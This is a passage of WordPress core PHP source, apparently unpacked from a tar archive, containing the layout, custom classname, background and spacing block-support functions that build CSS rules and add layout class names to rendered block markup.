				'selector'     => "$selector > :where(:not(.alignleft):not(.alignright):not(.alignfull))",
				'declarations' => array( 'margin-right' => '0 !important' ),
			);
		}

		if ( $has_block_gap_support ) {
			if ( is_array( $gap_value ) ) {
				$gap_value = isset( $gap_value['top'] ) ? $gap_value['top'] : null;
			}
			if ( null !== $gap_value && ! $should_skip_gap_serialization ) {
				// Get spacing CSS variable from preset value if provided.
				if ( is_string( $gap_value ) && str_contains( $gap_value, 'var:preset|spacing|' ) ) {
					$index_to_splice = strrpos( $gap_value, '|' ) + 1;
					$slug            = _wp_to_kebab_case( substr( $gap_value, $index_to_splice ) );
					$gap_value       = "var(--wp--preset--spacing--$slug)";
				}

				array_push(
					$layout_styles,
					array(
						'selector'     => "$selector > *",
						'declarations' => array(
							'margin-block-start' => '0',
							'margin-block-end'   => '0',
						),
					),
					array(
						'selector'     => "$selector > * + *",
						'declarations' => array(
							'margin-block-start' => $gap_value,
							'margin-block-end'   => '0',
						),
					)
				);
			}
		}
	} elseif ( 'flex' === $layout_type ) {
		$layout_orientation = isset( $layout['orientation'] ) ? $layout['orientation'] : 'horizontal';

		$justify_content_options = array(
			'left'   => 'flex-start',
			'right'  => 'flex-end',
			'center' => 'center',
		);

		$vertical_alignment_options = array(
			'top'    => 'flex-start',
			'center' => 'center',
			'bottom' => 'flex-end',
		);

		if ( 'horizontal' === $layout_orientation ) {
			$justify_content_options    += array( 'space-between' => 'space-between' );
			$vertical_alignment_options += array( 'stretch' => 'stretch' );
		} else {
			$justify_content_options    += array( 'stretch' => 'stretch' );
			$vertical_alignment_options += array( 'space-between' => 'space-between' );
		}

		if ( ! empty( $layout['flexWrap'] ) && 'nowrap' === $layout['flexWrap'] ) {
			$layout_styles[] = array(
				'selector'     => $selector,
				'declarations' => array( 'flex-wrap' => 'nowrap' ),
			);
		}

		if ( $has_block_gap_support && isset( $gap_value ) ) {
			$combined_gap_value = '';
			$gap_sides          = is_array( $gap_value ) ? array( 'top', 'left' ) : array( 'top' );

			foreach ( $gap_sides as $gap_side ) {
				$process_value = $gap_value;
				if ( is_array( $gap_value ) ) {
					$process_value = isset( $gap_value[ $gap_side ] ) ? $gap_value[ $gap_side ] : $fallback_gap_value;
				}
				// Get spacing CSS variable from preset value if provided.
				if ( is_string( $process_value ) && str_contains( $process_value, 'var:preset|spacing|' ) ) {
					$index_to_splice = strrpos( $process_value, '|' ) + 1;
					$slug            = _wp_to_kebab_case( substr( $process_value, $index_to_splice ) );
					$process_value   = "var(--wp--preset--spacing--$slug)";
				}
				$combined_gap_value .= "$process_value ";
			}
			$gap_value = trim( $combined_gap_value );

			if ( null !== $gap_value && ! $should_skip_gap_serialization ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'gap' => $gap_value ),
				);
			}
		}

		if ( 'horizontal' === $layout_orientation ) {
			/*
			 * Add this style only if is not empty for backwards compatibility,
			 * since we intend to convert blocks that had flex layout implemented
			 * by custom css.
			 */
			if ( ! empty( $layout['justifyContent'] ) && array_key_exists( $layout['justifyContent'], $justify_content_options ) ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'justify-content' => $justify_content_options[ $layout['justifyContent'] ] ),
				);
			}

			if ( ! empty( $layout['verticalAlignment'] ) && array_key_exists( $layout['verticalAlignment'], $vertical_alignment_options ) ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'align-items' => $vertical_alignment_options[ $layout['verticalAlignment'] ] ),
				);
			}
		} else {
			$layout_styles[] = array(
				'selector'     => $selector,
				'declarations' => array( 'flex-direction' => 'column' ),
			);
			if ( ! empty( $layout['justifyContent'] ) && array_key_exists( $layout['justifyContent'], $justify_content_options ) ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'align-items' => $justify_content_options[ $layout['justifyContent'] ] ),
				);
			} else {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'align-items' => 'flex-start' ),
				);
			}
			if ( ! empty( $layout['verticalAlignment'] ) && array_key_exists( $layout['verticalAlignment'], $vertical_alignment_options ) ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'justify-content' => $vertical_alignment_options[ $layout['verticalAlignment'] ] ),
				);
			}
		}
	} elseif ( 'grid' === $layout_type ) {
		if ( ! empty( $layout['columnCount'] ) ) {
			$layout_styles[] = array(
				'selector'     => $selector,
				'declarations' => array( 'grid-template-columns' => 'repeat(' . $layout['columnCount'] . ', minmax(0, 1fr))' ),
			);
		} else {
			$minimum_column_width = ! empty( $layout['minimumColumnWidth'] ) ? $layout['minimumColumnWidth'] : '12rem';

			$layout_styles[] = array(
				'selector'     => $selector,
				'declarations' => array(
					'grid-template-columns' => 'repeat(auto-fill, minmax(min(' . $minimum_column_width . ', 100%), 1fr))',
					'container-type'        => 'inline-size',
				),
			);
		}

		if ( $has_block_gap_support && isset( $gap_value ) ) {
			$combined_gap_value = '';
			$gap_sides          = is_array( $gap_value ) ? array( 'top', 'left' ) : array( 'top' );

			foreach ( $gap_sides as $gap_side ) {
				$process_value = $gap_value;
				if ( is_array( $gap_value ) ) {
					$process_value = isset( $gap_value[ $gap_side ] ) ? $gap_value[ $gap_side ] : $fallback_gap_value;
				}
				// Get spacing CSS variable from preset value if provided.
				if ( is_string( $process_value ) && str_contains( $process_value, 'var:preset|spacing|' ) ) {
					$index_to_splice = strrpos( $process_value, '|' ) + 1;
					$slug            = _wp_to_kebab_case( substr( $process_value, $index_to_splice ) );
					$process_value   = "var(--wp--preset--spacing--$slug)";
				}
				$combined_gap_value .= "$process_value ";
			}
			$gap_value = trim( $combined_gap_value );

			if ( null !== $gap_value && ! $should_skip_gap_serialization ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'gap' => $gap_value ),
				);
			}
		}
	}

	if ( ! empty( $layout_styles ) ) {
		/*
		 * Add to the style engine store to enqueue and render layout styles.
		 * Return compiled layout styles to retain backwards compatibility.
		 * Since https://github.com/WordPress/gutenberg/pull/42452,
		 * wp_enqueue_block_support_styles is no longer called in this block supports file.
		 */
		return wp_style_engine_get_stylesheet_from_css_rules(
			$layout_styles,
			array(
				'context'  => 'block-supports',
				'prettify' => false,
			)
		);
	}

	return '';
}

/**
 * Renders the layout config to the block wrapper.
 *
 * @since 5.8.0
 * @since 6.3.0 Adds compound class to layout wrapper for global spacing styles.
 * @since 6.3.0 Check for layout support via the `layout` key with fallback to `__experimentalLayout`.
 * @since 6.6.0 Removed duplicate container class from layout styles.
 * @access private
 *
 * @param string $block_content Rendered block content.
 * @param array  $block         Block object.
 * @return string Filtered block content.
 */
function wp_render_layout_support_flag( $block_content, $block ) {
	$block_type            = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	$block_supports_layout = block_has_support( $block_type, 'layout', false ) || block_has_support( $block_type, '__experimentalLayout', false );
	$child_layout          = isset( $block['attrs']['style']['layout'] ) ? $block['attrs']['style']['layout'] : null;

	if ( ! $block_supports_layout && ! $child_layout ) {
		return $block_content;
	}

	$outer_class_names = array();

	// Child layout specific logic.
	if ( $child_layout ) {
		/*
		 * Generates a unique class for child block layout styles.
		 *
		 * To ensure consistent class generation across different page renders,
		 * only properties that affect layout styling are used. These properties
		 * come from `$block['attrs']['style']['layout']` and `$block['parentLayout']`.
		 *
		 * As long as these properties coincide, the generated class will be the same.
		 */
		$container_content_class = wp_unique_id_from_values(
			array(
				'layout'       => array_intersect_key(
					$block['attrs']['style']['layout'] ?? array(),
					array_flip(
						array( 'selfStretch', 'flexSize', 'columnStart', 'columnSpan', 'rowStart', 'rowSpan' )
					)
				),
				'parentLayout' => array_intersect_key(
					$block['parentLayout'] ?? array(),
					array_flip(
						array( 'minimumColumnWidth', 'columnCount' )
					)
				),
			),
			'wp-container-content-'
		);

		$child_layout_declarations = array();
		$child_layout_styles       = array();

		$self_stretch = isset( $child_layout['selfStretch'] ) ? $child_layout['selfStretch'] : null;

		if ( 'fixed' === $self_stretch && isset( $child_layout['flexSize'] ) ) {
			$child_layout_declarations['flex-basis'] = $child_layout['flexSize'];
			$child_layout_declarations['box-sizing'] = 'border-box';
		} elseif ( 'fill' === $self_stretch ) {
			$child_layout_declarations['flex-grow'] = '1';
		}

		if ( isset( $child_layout['columnSpan'] ) ) {
			$column_span                              = $child_layout['columnSpan'];
			$child_layout_declarations['grid-column'] = "span $column_span";
		}
		if ( isset( $child_layout['rowSpan'] ) ) {
			$row_span                              = $child_layout['rowSpan'];
			$child_layout_declarations['grid-row'] = "span $row_span";
		}
		$child_layout_styles[] = array(
			'selector'     => ".$container_content_class",
			'declarations' => $child_layout_declarations,
		);

		/*
		 * If columnSpan is set, and the parent grid is responsive, i.e. if it has a minimumColumnWidth set,
		 * the columnSpan should be removed on small grids. If there's a minimumColumnWidth, the grid is responsive.
		 * But if the minimumColumnWidth value wasn't changed, it won't be set. In that case, if columnCount doesn't
		 * exist, we can assume that the grid is responsive.
		 */
		if ( isset( $child_layout['columnSpan'] ) && ( isset( $block['parentLayout']['minimumColumnWidth'] ) || ! isset( $block['parentLayout']['columnCount'] ) ) ) {
			$column_span_number  = floatval( $child_layout['columnSpan'] );
			$parent_column_width = isset( $block['parentLayout']['minimumColumnWidth'] ) ? $block['parentLayout']['minimumColumnWidth'] : '12rem';
			$parent_column_value = floatval( $parent_column_width );
			$parent_column_unit  = explode( $parent_column_value, $parent_column_width );

			/*
			 * If there is no unit, the width has somehow been mangled so we reset both unit and value
			 * to defaults.
			 * Additionally, the unit should be one of px, rem or em, so that also needs to be checked.
			 */
			if ( count( $parent_column_unit ) <= 1 ) {
				$parent_column_unit  = 'rem';
				$parent_column_value = 12;
			} else {
				$parent_column_unit = $parent_column_unit[1];

				if ( ! in_array( $parent_column_unit, array( 'px', 'rem', 'em' ), true ) ) {
					$parent_column_unit = 'rem';
				}
			}

			/*
			 * A default gap value is used for this computation because custom gap values may not be
			 * viable to use in the computation of the container query value.
			 */
			$default_gap_value     = 'px' === $parent_column_unit ? 24 : 1.5;
			$container_query_value = $column_span_number * $parent_column_value + ( $column_span_number - 1 ) * $default_gap_value;
			$container_query_value = $container_query_value . $parent_column_unit;

			$child_layout_styles[] = array(
				'rules_group'  => "@container (max-width: $container_query_value )",
				'selector'     => ".$container_content_class",
				'declarations' => array(
					'grid-column' => '1/-1',
				),
			);
		}

		/*
		 * Add to the style engine store to enqueue and render layout styles.
		 * Return styles here just to check if any exist.
		 */
		$child_css = wp_style_engine_get_stylesheet_from_css_rules(
			$child_layout_styles,
			array(
				'context'  => 'block-supports',
				'prettify' => false,
			)
		);

		if ( $child_css ) {
			$outer_class_names[] = $container_content_class;
		}
	}

	// Prep the processor for modifying the block output.
	$processor = new WP_HTML_Tag_Processor( $block_content );

	// Having no tags implies there are no tags onto which to add class names.
	if ( ! $processor->next_tag() ) {
		return $block_content;
	}

	/*
	 * A block may not support layout but still be affected by a parent block's layout.
	 *
	 * In these cases add the appropriate class names and then return early; there's
	 * no need to investigate on this block whether additional layout constraints apply.
	 */
	if ( ! $block_supports_layout && ! empty( $outer_class_names ) ) {
		foreach ( $outer_class_names as $class_name ) {
			$processor->add_class( $class_name );
		}
		return $processor->get_updated_html();
	} elseif ( ! $block_supports_layout ) {
		// Ensure layout classnames are not injected if there is no layout support.
		return $block_content;
	}

	$global_settings = wp_get_global_settings();
	$fallback_layout = isset( $block_type->supports['layout']['default'] )
		? $block_type->supports['layout']['default']
		: array();
	if ( empty( $fallback_layout ) ) {
		$fallback_layout = isset( $block_type->supports['__experimentalLayout']['default'] )
			? $block_type->supports['__experimentalLayout']['default']
			: array();
	}
	$used_layout = isset( $block['attrs']['layout'] ) ? $block['attrs']['layout'] : $fallback_layout;

	$class_names        = array();
	$layout_definitions = wp_get_layout_definitions();

	// Set the correct layout type for blocks using legacy content width.
	if ( isset( $used_layout['inherit'] ) && $used_layout['inherit'] || isset( $used_layout['contentSize'] ) && $used_layout['contentSize'] ) {
		$used_layout['type'] = 'constrained';
	}

	$root_padding_aware_alignments = isset( $global_settings['useRootPaddingAwareAlignments'] )
		? $global_settings['useRootPaddingAwareAlignments']
		: false;

	if (
		$root_padding_aware_alignments &&
		isset( $used_layout['type'] ) &&
		'constrained' === $used_layout['type']
	) {
		$class_names[] = 'has-global-padding';
	}

	/*
	 * The following section was added to reintroduce a small set of layout classnames that were
	 * removed in the 5.9 release (https://github.com/WordPress/gutenberg/issues/38719). It is
	 * not intended to provide an extended set of classes to match all block layout attributes
	 * here.
	 */
	if ( ! empty( $block['attrs']['layout']['orientation'] ) ) {
		$class_names[] = 'is-' . sanitize_title( $block['attrs']['layout']['orientation'] );
	}

	if ( ! empty( $block['attrs']['layout']['justifyContent'] ) ) {
		$class_names[] = 'is-content-justification-' . sanitize_title( $block['attrs']['layout']['justifyContent'] );
	}

	if ( ! empty( $block['attrs']['layout']['flexWrap'] ) && 'nowrap' === $block['attrs']['layout']['flexWrap'] ) {
		$class_names[] = 'is-nowrap';
	}

	// Get classname for layout type.
	if ( isset( $used_layout['type'] ) ) {
		$layout_classname = isset( $layout_definitions[ $used_layout['type'] ]['className'] )
			? $layout_definitions[ $used_layout['type'] ]['className']
			: '';
	} else {
		$layout_classname = isset( $layout_definitions['default']['className'] )
			? $layout_definitions['default']['className']
			: '';
	}

	if ( $layout_classname && is_string( $layout_classname ) ) {
		$class_names[] = sanitize_title( $layout_classname );
	}

	/*
	 * Only generate Layout styles if the theme has not opted-out.
	 * Attribute-based Layout classnames are output in all cases.
	 */
	if ( ! current_theme_supports( 'disable-layout-styles' ) ) {

		$gap_value = isset( $block['attrs']['style']['spacing']['blockGap'] )
			? $block['attrs']['style']['spacing']['blockGap']
			: null;
		/*
		 * Skip if gap value contains unsupported characters.
		 * Regex for CSS value borrowed from `safecss_filter_attr`, and used here
		 * to only match against the value, not the CSS attribute.
		 */
		if ( is_array( $gap_value ) ) {
			foreach ( $gap_value as $key => $value ) {
				$gap_value[ $key ] = $value && preg_match( '%[\\\(&=}]|/\*%', $value ) ? null : $value;
			}
		} else {
			$gap_value = $gap_value && preg_match( '%[\\\(&=}]|/\*%', $gap_value ) ? null : $gap_value;
		}

		$fallback_gap_value = isset( $block_type->supports['spacing']['blockGap']['__experimentalDefault'] )
			? $block_type->supports['spacing']['blockGap']['__experimentalDefault']
			: '0.5em';
		$block_spacing      = isset( $block['attrs']['style']['spacing'] )
			? $block['attrs']['style']['spacing']
			: null;

		/*
		 * If a block's block.json skips serialization for spacing or spacing.blockGap,
		 * don't apply the user-defined value to the styles.
		 */
		$should_skip_gap_serialization = wp_should_skip_block_supports_serialization( $block_type, 'spacing', 'blockGap' );

		$block_gap             = isset( $global_settings['spacing']['blockGap'] )
			? $global_settings['spacing']['blockGap']
			: null;
		$has_block_gap_support = isset( $block_gap );

		/*
		 * Generates a unique ID based on all the data required to obtain the
		 * corresponding layout style. Keeps the CSS class names the same
		 * even for different blocks on different places, as long as they have
		 * the same layout definition. Makes the CSS class names stable across
		 * paginations for features like the enhanced pagination of the Query block.
		 */
		$container_class = wp_unique_id_from_values(
			array(
				$used_layout,
				$has_block_gap_support,
				$gap_value,
				$should_skip_gap_serialization,
				$fallback_gap_value,
				$block_spacing,
			),
			'wp-container-' . sanitize_title( $block['blockName'] ) . '-is-layout-'
		);

		$style = wp_get_layout_style(
			".$container_class",
			$used_layout,
			$has_block_gap_support,
			$gap_value,
			$should_skip_gap_serialization,
			$fallback_gap_value,
			$block_spacing
		);

		// Only add container class and enqueue block support styles if unique styles were generated.
		if ( ! empty( $style ) ) {
			$class_names[] = $container_class;
		}
	}

	// Add combined layout and block classname for global styles to hook onto.
	$block_name    = explode( '/', $block['blockName'] );
	$class_names[] = 'wp-block-' . end( $block_name ) . '-' . $layout_classname;

	// Add classes to the outermost HTML tag if necessary.
	if ( ! empty( $outer_class_names ) ) {
		foreach ( $outer_class_names as $outer_class_name ) {
			$processor->add_class( $outer_class_name );
		}
	}

	/**
	 * Attempts to refer to the inner-block wrapping element by its class attribute.
	 *
	 * When examining a block's inner content, if a block has inner blocks, then
	 * the first content item will likely be a text (HTML) chunk immediately
	 * preceding the inner blocks. The last HTML tag in that chunk would then be
	 * an opening tag for an element that wraps the inner blocks.
	 *
	 * There's no reliable way to associate this wrapper in $block_content because
	 * it may have changed during the rendering pipeline (as inner contents is
	 * provided before rendering) and through previous filters. In many cases,
	 * however, the `class` attribute will be a good-enough identifier, so this
	 * code finds the last tag in that chunk and stores the `class` attribute
	 * so that it can be used later when working through the rendered block output
	 * to identify the wrapping element and add the remaining class names to it.
	 *
	 * It's also possible that no inner block wrapper even exists. If that's the
	 * case this code could apply the class names to an invalid element.
	 *
	 * Example:
	 *
	 *     $block['innerBlocks']  = array( $list_item );
	 *     $block['innerContent'] = array( '<ul class="list-wrapper is-unordered">', null, '</ul>' );
	 *
	 *     // After rendering, the initial contents may have been modified by other renderers or filters.
	 *     $block_content = <<<HTML
	 *         <figure>
	 *             <ul class="annotated-list list-wrapper is-unordered">
	 *                 <li>Code</li>
	 *             </ul><figcaption>It's a list!</figcaption>
	 *         </figure>
	 *     HTML;
	 *
	 * Although it is possible that the original block-wrapper classes are changed in $block_content
	 * from how they appear in $block['innerContent'], it's likely that the original class attributes
	 * are still present in the wrapper as they are in this example. Frequently, additional classes
	 * will also be present; rarely should classes be removed.
	 *
	 * @todo Find a better way to match the first inner block. If it's possible to identify where the
	 *       first inner block starts, then it will be possible to find the last tag before it starts
	 *       and then that tag, if an opening tag, can be solidly identified as a wrapping element.
	 *       Can some unique value or class or ID be added to the inner blocks when they process
	 *       so that they can be extracted here safely without guessing? Can the block rendering function
	 *       return information about where the rendered inner blocks start?
	 *
	 * @var string|null
	 */
	$inner_block_wrapper_classes = null;
	$first_chunk                 = isset( $block['innerContent'][0] ) ? $block['innerContent'][0] : null;
	if ( is_string( $first_chunk ) && count( $block['innerContent'] ) > 1 ) {
		$first_chunk_processor = new WP_HTML_Tag_Processor( $first_chunk );
		while ( $first_chunk_processor->next_tag() ) {
			$class_attribute = $first_chunk_processor->get_attribute( 'class' );
			if ( is_string( $class_attribute ) && ! empty( $class_attribute ) ) {
				$inner_block_wrapper_classes = $class_attribute;
			}
		}
	}

	/*
	 * If necessary, advance to what is likely to be an inner block wrapper tag.
	 *
	 * This advances until it finds the first tag containing the original class
	 * attribute from above. If none is found it will scan to the end of the block
	 * and fail to add any class names.
	 *
	 * If there is no block wrapper it won't advance at all, in which case the
	 * class names will be added to the first and outermost tag of the block.
	 * For cases where this outermost tag is the only tag surrounding inner
	 * blocks then the outer wrapper and inner wrapper are the same.
	 */
	do {
		if ( ! $inner_block_wrapper_classes ) {
			break;
		}

		$class_attribute = $processor->get_attribute( 'class' );
		if ( is_string( $class_attribute ) && str_contains( $class_attribute, $inner_block_wrapper_classes ) ) {
			break;
		}
	} while ( $processor->next_tag() );

	// Add the remaining class names.
	foreach ( $class_names as $class_name ) {
		$processor->add_class( $class_name );
	}

	return $processor->get_updated_html();
}

/**
 * Check if the parent block exists and if it has a layout attribute.
 * If it does, add the parent layout to the parsed block
 *
 * @since 6.6.0
 * @access private
 *
 * @param array    $parsed_block The parsed block.
 * @param array    $source_block The source block.
 * @param WP_Block $parent_block The parent block.
 * @return array The parsed block with parent layout attribute if it exists.
 */
function wp_add_parent_layout_to_parsed_block( $parsed_block, $source_block, $parent_block ) {
	if ( $parent_block && isset( $parent_block->parsed_block['attrs']['layout'] ) ) {
		$parsed_block['parentLayout'] = $parent_block->parsed_block['attrs']['layout'];
	}
	return $parsed_block;
}

add_filter( 'render_block_data', 'wp_add_parent_layout_to_parsed_block', 10, 3 );

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'layout',
	array(
		'register_attribute' => 'wp_register_layout_support',
	)
);
add_filter( 'render_block', 'wp_render_layout_support_flag', 10, 2 );

/**
 * For themes without theme.json file, make sure
 * to restore the inner div for the group block
 * to avoid breaking styles relying on that div.
 *
 * @since 5.8.0
 * @since 6.6.1 Removed inner container from Grid variations.
 * @access private
 *
 * @param string $block_content Rendered block content.
 * @param array  $block         Block object.
 * @return string Filtered block content.
 */
function wp_restore_group_inner_container( $block_content, $block ) {
	$tag_name                         = isset( $block['attrs']['tagName'] ) ? $block['attrs']['tagName'] : 'div';
	$group_with_inner_container_regex = sprintf(
		'/(^\s*<%1$s\b[^>]*wp-block-group(\s|")[^>]*>)(\s*<div\b[^>]*wp-block-group__inner-container(\s|")[^>]*>)((.|\S|\s)*)/U',
		preg_quote( $tag_name, '/' )
	);

	if (
		wp_theme_has_theme_json() ||
		1 === preg_match( $group_with_inner_container_regex, $block_content ) ||
		( isset( $block['attrs']['layout']['type'] ) && ( 'flex' === $block['attrs']['layout']['type'] || 'grid' === $block['attrs']['layout']['type'] ) )
	) {
		return $block_content;
	}

	/*
	 * This filter runs after the layout classnames have been added to the block, so they
	 * have to be removed from the outer wrapper and then added to the inner.
	 */
	$layout_classes = array();
	$processor      = new WP_HTML_Tag_Processor( $block_content );

	if ( $processor->next_tag( array( 'class_name' => 'wp-block-group' ) ) ) {
		foreach ( $processor->class_list() as $class_name ) {
			if ( str_contains( $class_name, 'is-layout-' ) ) {
				$layout_classes[] = $class_name;
				$processor->remove_class( $class_name );
			}
		}
	}

	$content_without_layout_classes = $processor->get_updated_html();
	$replace_regex                  = sprintf(
		'/(^\s*<%1$s\b[^>]*wp-block-group[^>]*>)(.*)(<\/%1$s>\s*$)/ms',
		preg_quote( $tag_name, '/' )
	);
	$updated_content                = preg_replace_callback(
		$replace_regex,
		static function ( $matches ) {
			return $matches[1] . '<div class="wp-block-group__inner-container">' . $matches[2] . '</div>' . $matches[3];
		},
		$content_without_layout_classes
	);

	// Add layout classes to inner wrapper.
	if ( ! empty( $layout_classes ) ) {
		$processor = new WP_HTML_Tag_Processor( $updated_content );
		if ( $processor->next_tag( array( 'class_name' => 'wp-block-group__inner-container' ) ) ) {
			foreach ( $layout_classes as $class_name ) {
				$processor->add_class( $class_name );
			}
		}
		$updated_content = $processor->get_updated_html();
	}
	return $updated_content;
}

add_filter( 'render_block_core/group', 'wp_restore_group_inner_container', 10, 2 );

/**
 * For themes without theme.json file, make sure
 * to restore the outer div for the aligned image block
 * to avoid breaking styles relying on that div.
 *
 * @since 6.0.0
 * @access private
 *
 * @param string $block_content Rendered block content.
 * @param  array  $block        Block object.
 * @return string Filtered block content.
 */
function wp_restore_image_outer_container( $block_content, $block ) {
	$image_with_align = "
/# 1) everything up to the class attribute contents
(
	^\s*
	<figure\b
	[^>]*
	\bclass=
	[\"']
)
# 2) the class attribute contents
(
	[^\"']*
	\bwp-block-image\b
	[^\"']*
	\b(?:alignleft|alignright|aligncenter)\b
	[^\"']*
)
# 3) everything after the class attribute contents
(
	[\"']
	[^>]*
	>
	.*
	<\/figure>
)/iUx";

	if (
		wp_theme_has_theme_json() ||
		0 === preg_match( $image_with_align, $block_content, $matches )
	) {
		return $block_content;
	}

	$wrapper_classnames = array( 'wp-block-image' );

	// If the block has a classNames attribute these classnames need to be removed from the content and added back
	// to the new wrapper div also.
	if ( ! empty( $block['attrs']['className'] ) ) {
		$wrapper_classnames = array_merge( $wrapper_classnames, explode( ' ', $block['attrs']['className'] ) );
	}
	$content_classnames          = explode( ' ', $matches[2] );
	$filtered_content_classnames = array_diff( $content_classnames, $wrapper_classnames );

	return '<div class="' . implode( ' ', $wrapper_classnames ) . '">' . $matches[1] . implode( ' ', $filtered_content_classnames ) . $matches[3] . '</div>';
}

add_filter( 'render_block_core/image', 'wp_restore_image_outer_container', 10, 2 );
custom-classname.php000064400000003213151024204770010534 0ustar00<?php
/**
 * Custom classname block support flag.
 *
 * @package WordPress
 * @since 5.6.0
 */

/**
 * Registers the custom classname block attribute for block types that support it.
 *
 * @since 5.6.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_custom_classname_support( $block_type ) {
	$has_custom_classname_support = block_has_support( $block_type, 'customClassName', true );

	if ( $has_custom_classname_support ) {
		if ( ! $block_type->attributes ) {
			$block_type->attributes = array();
		}

		if ( ! array_key_exists( 'className', $block_type->attributes ) ) {
			$block_type->attributes['className'] = array(
				'type' => 'string',
			);
		}
	}
}

/**
 * Adds the custom classnames to the output.
 *
 * @since 5.6.0
 * @access private
 *
 * @param  WP_Block_Type $block_type       Block Type.
 * @param  array         $block_attributes Block attributes.
 *
 * @return array Block CSS classes and inline styles.
 */
function wp_apply_custom_classname_support( $block_type, $block_attributes ) {
	$has_custom_classname_support = block_has_support( $block_type, 'customClassName', true );
	$attributes                   = array();
	if ( $has_custom_classname_support ) {
		$has_custom_classnames = array_key_exists( 'className', $block_attributes );

		if ( $has_custom_classnames ) {
			$attributes['class'] = $block_attributes['className'];
		}
	}

	return $attributes;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'custom-classname',
	array(
		'register_attribute' => 'wp_register_custom_classname_support',
		'apply'              => 'wp_apply_custom_classname_support',
	)
);
background.php000064400000010023151024204770007372 0ustar00<?php
/**
 * Background block support flag.
 *
 * @package WordPress
 * @since 6.4.0
 */

/**
 * Registers the style block attribute for block types that support it.
 *
 * @since 6.4.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_background_support( $block_type ) {
	// Setup attributes and styles within that if needed.
	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	// Check for existing style attribute definition e.g. from block.json.
	if ( array_key_exists( 'style', $block_type->attributes ) ) {
		return;
	}

	$has_background_support = block_has_support( $block_type, array( 'background' ), false );

	if ( $has_background_support ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}
}

/**
 * Renders the background styles to the block wrapper.
 * This block support uses the `render_block` hook to ensure that
 * it is also applied to non-server-rendered blocks.
 *
 * @since 6.4.0
 * @since 6.5.0 Added support for `backgroundPosition` and `backgroundRepeat` output.
 * @since 6.6.0 Removed requirement for `backgroundImage.source`. A file/url is the default.
 * @since 6.7.0 Added support for `backgroundAttachment` output.
 *
 * @access private
 *
 * @param  string $block_content Rendered block content.
 * @param  array  $block         Block object.
 * @return string Filtered block content.
 */
function wp_render_background_support( $block_content, $block ) {
	$block_type                   = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	$block_attributes             = ( isset( $block['attrs'] ) && is_array( $block['attrs'] ) ) ? $block['attrs'] : array();
	$has_background_image_support = block_has_support( $block_type, array( 'background', 'backgroundImage' ), false );

	if (
		! $has_background_image_support ||
		wp_should_skip_block_supports_serialization( $block_type, 'background', 'backgroundImage' ) ||
		! isset( $block_attributes['style']['background'] )
	) {
		return $block_content;
	}

	$background_styles                         = array();
	$background_styles['backgroundImage']      = $block_attributes['style']['background']['backgroundImage'] ?? null;
	$background_styles['backgroundSize']       = $block_attributes['style']['background']['backgroundSize'] ?? null;
	$background_styles['backgroundPosition']   = $block_attributes['style']['background']['backgroundPosition'] ?? null;
	$background_styles['backgroundRepeat']     = $block_attributes['style']['background']['backgroundRepeat'] ?? null;
	$background_styles['backgroundAttachment'] = $block_attributes['style']['background']['backgroundAttachment'] ?? null;

	if ( ! empty( $background_styles['backgroundImage'] ) ) {
		$background_styles['backgroundSize'] = $background_styles['backgroundSize'] ?? 'cover';

		// If the background size is set to `contain` and no position is set, set the position to `center`.
		if ( 'contain' === $background_styles['backgroundSize'] && ! $background_styles['backgroundPosition'] ) {
			$background_styles['backgroundPosition'] = '50% 50%';
		}
	}

	$styles = wp_style_engine_get_styles( array( 'background' => $background_styles ) );

	if ( ! empty( $styles['css'] ) ) {
		// Inject background styles to the first element, presuming it's the wrapper, if it exists.
		$tags = new WP_HTML_Tag_Processor( $block_content );

		if ( $tags->next_tag() ) {
			$existing_style = $tags->get_attribute( 'style' );
			$updated_style  = '';

			if ( ! empty( $existing_style ) ) {
				$updated_style = $existing_style;
				if ( ! str_ends_with( $existing_style, ';' ) ) {
					$updated_style .= ';';
				}
			}

			$updated_style .= $styles['css'];
			$tags->set_attribute( 'style', $updated_style );
			$tags->add_class( 'has-background' );
		}

		return $tags->get_updated_html();
	}

	return $block_content;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'background',
	array(
		'register_attribute' => 'wp_register_background_support',
	)
);

add_filter( 'render_block', 'wp_render_background_support', 10, 2 );
spacing.php000064400000005474151024204770006715 0ustar00<?php
/**
 * Spacing block support flag.
 *
 * For backwards compatibility, this remains separate to the dimensions.php
 * block support despite both belonging under a single panel in the editor.
 *
 * @package WordPress
 * @since 5.8.0
 */

/**
 * Registers the style block attribute for block types that support it.
 *
 * @since 5.8.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_spacing_support( $block_type ) {
	$has_spacing_support = block_has_support( $block_type, 'spacing', false );

	// Setup attributes and styles within that if needed.
	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( $has_spacing_support && ! array_key_exists( 'style', $block_type->attributes ) ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}
}

/**
 * Adds CSS classes for block spacing to the incoming attributes array.
 * This will be applied to the block markup in the front-end.
 *
 * @since 5.8.0
 * @since 6.1.0 Implemented the style engine to generate CSS and classnames.
 * @access private
 *
 * @param WP_Block_Type $block_type       Block Type.
 * @param array         $block_attributes Block attributes.
 * @return array Block spacing CSS classes and inline styles.
 */
function wp_apply_spacing_support( $block_type, $block_attributes ) {
	if ( wp_should_skip_block_supports_serialization( $block_type, 'spacing' ) ) {
		return array();
	}

	$attributes          = array();
	$has_padding_support = block_has_support( $block_type, array( 'spacing', 'padding' ), false );
	$has_margin_support  = block_has_support( $block_type, array( 'spacing', 'margin' ), false );
	$block_styles        = isset( $block_attributes['style'] ) ? $block_attributes['style'] : null;

	if ( ! $block_styles ) {
